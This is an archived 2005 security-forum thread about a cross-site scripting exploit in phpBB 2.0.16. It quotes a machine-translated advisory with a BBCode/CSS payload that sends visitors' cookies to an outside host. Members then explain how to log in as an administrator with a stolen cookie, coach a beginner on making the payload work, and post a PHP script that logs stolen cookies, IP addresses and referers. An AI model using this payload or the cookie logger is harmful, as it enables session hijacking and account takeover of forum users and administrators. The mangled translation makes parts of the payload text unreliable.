Articles

Metasploit Framework Windows Tutorial
Remote Desktop Connection
Windows Processes That May Be Dangerous
How-To use NetCat a Tutorial
Common Linux Commands
Common Ports
Netcat Commands
HTTP Response Codes
War-Google Hack Terms
Wardriving
Avoiding Social Engineering and Phishing Attacks
Intrusion Detection on Linux
Linux Intrusion Detection
Penetration Testing Guide
Penetration Testing Tools
Social Engineering Fundamentals, Part I: Hacker Tactics
Social engineering (computer security)
The Psychology of Social Engineering

The Archives

General GSO
GovernmentSecurity.org News & Suggestions
In The News
Open Topic
General Security Information
Trash Can
Exploit & Vulnerability Mailing List Archives
Trial Member Forum
Product and Program Reviews GSO Tutorials
System Security
Windows Systems
Beginners Section
Linux & Unix Systems
File Downloads
Exploit Research & Discussion Trojan & Virus Errata
Networking Security / Firewall / IDS / VPN / Routers
System Hardening
E-Mail Security
Wifi Security
Trial Member Uploads
Upload discovered Trojans & Mal ware
GSO Programming Section
C , C++ , VC++
Visual Basic.NET
Perl /CGI
Java/Javascript
PHP/XML/ASP/HTML
Assembly + Other
The Cork Board
Network Security Consultant Directory
Network Security Jobs
The Archives
Encryption Information
General Network Security
Internet Anonymity
HTTP Protocol Security
Linux Security
MS IIS Information
Exploit Articles
Programming / Tool Design
GSO Software Projects
Public Downloads
Microsoft Security Questions and Papers

Full Version: Phpbb 2.0.16 Exploit
whisker
I just found this article:

QUOTE
carry out XSS attack.

The remote user can put specially processed combination BB of tags into the communication of forum in order to carry out the arbitrary code in the browser of the user, that visited the ill-intended communication. Vulnerability can be used for the theft of the classified information of user (identifier of session or Cooks).

Eksploit:
[ color=#.EFEFEF][.url].www.ut[.url=.www.s = ' '
style='.font-size:0;.color:#.EFEFEF '
style='.top:expression(.eval(.this.sss)); '
sss=`.i=.new/**/.Image();
i.src='.http://antichat.ru/cgi-bin/s.jpg?'+.document.cookie;
this.sss=.null`.style='.font-size:0; ]
[/url][/.url]'[/.color ]




On the spot TSVET_FONA should be entered the code of background in the communication, used in this skin of forum. For the the standard subsilver this # EFEFEF. This is done so that by the naked eye the introduction of our sploita not would be noticeable on other browsers, where the code although is received incorrectly, practical benefit it will not bring, but instead of this it vykenet into the browser long plain reference.

URL the producer: http://www.phpbb.com




from http://www.securitylab.ru/55612.html translated using http://babelfish.altavista.com/
Paul
http://www.securityfocus.org/bid/14151
AtApi
Hi guys, just a question: after you grab the cookie what you can do?
i mean is possible to use it to log in? by using the credentials contained in the cookie?
like with Live Http under mozilla?
myth
AtApi,

Firefox, cant remember the exact name atm, has a plugin to allow you to play with the cookies...

Using that plugin, you put in the admin username and the returned cookie and then the website just thinks you've select the 'Keep Me Logged In' Option, and uses that cookie...
BinaryHero
ok maybe i missed something but what exactly does this do? how do you work it? sorry guys
myth
Basically, retireves the cookie tongue.gif

phpBB uses cookies so you dont have to login each time, if you steal an admins cookie and use that, well, you dont have to login at all - because the phpbb forum will read your cookie, (which is the stolen one) and think your the admin....

Thats the end result of how the exploit kinda works.... but i think theres another thread on this anyway, not sure
BinaryHero
Hey thanks for the reply mate biggrin.gif one more question though

where do you put this code

[ color=#.EFEFEF][.url].www.ut[.url=.www.s = ' '
style='.font-size:0;.color:#.EFEFEF '
style='.top:expression(.eval(.this.sss)); '
sss=`.i=.new/**/.Image();
i.src='.http://antichat.ru/cgi-bin/s.jpg?'+.document.cookie;
this.sss=.null`.style='.font-size:0; ]
[/url][/.url]'[/.color ]

Just anywhere on the forums? do I need to edit that in some way or just post as is?

thanks any help is appreciated
tikbalang
afaik...those codes need to be part of your post in a forum powered by phpbb.

-tikz
BinaryHero
i cant figure out how to edit the html code to actually make it html, i made it so the color works but other than that i cant figure it out
mekros
can you clarify more on that, binary...
BinaryHero
like if you post that code directly it doesnt work...
i can make it work a little bit by changing [/.color] to [/color]

so what else do i have to edit in the code to make it work..... or am i just lame and it should work by posting it directly like it is...

sorry im a newb
ShoCK FX
You need a movie to understand? heh ok here:
http://kisobox.com/area51/phpbb2.0.16xss/

hope it helps wink.gif
Dr.Network
it works with every server i write there...? how the exploit write the "cookies" on the server?
apsync
QUOTE(Dr.Network @ Aug 9 2005, 07:14 PM)
it works with every server i write there...?

no, 2.0.17 is not vulnerable

QUOTE(Dr.Network @ Aug 9 2005, 07:14 PM)
how the exploit write the "cookies" on the server?
it sends its cookies to you, and you can save it with the following php script.

CODE
<?php
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$date=date("j F, Y, g:i a");
$referer=getenv ('HTTP_REFERER');
$fp = fopen('steal.php', 'a');
fwrite($fp, '<font color="#800000"><br>Cookie:</font> '.$cookie.'</br><font color="#800000"> IP:</font> ' .$ip. '<br><font color="#800000"> Date and Time:</font> ' .$date. '</br> <font color="#800000">Referer:</font> '.$referer.' <br><p>');
fclose($fp);
?>
JustAsFire
QUOTE(myth @ Jul 13 2005, 05:51 AM)
AtApi,

Firefox, cant remember the exact name atm, has a plugin to allow you to play with the cookies....
*


Live HTTP headers
crock
Cookie Editor:
hxxp://addneditcookies.mozdev.org/screenshots.html
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.
Invision Power Board © 2001-2005 Invision Power Services, Inc.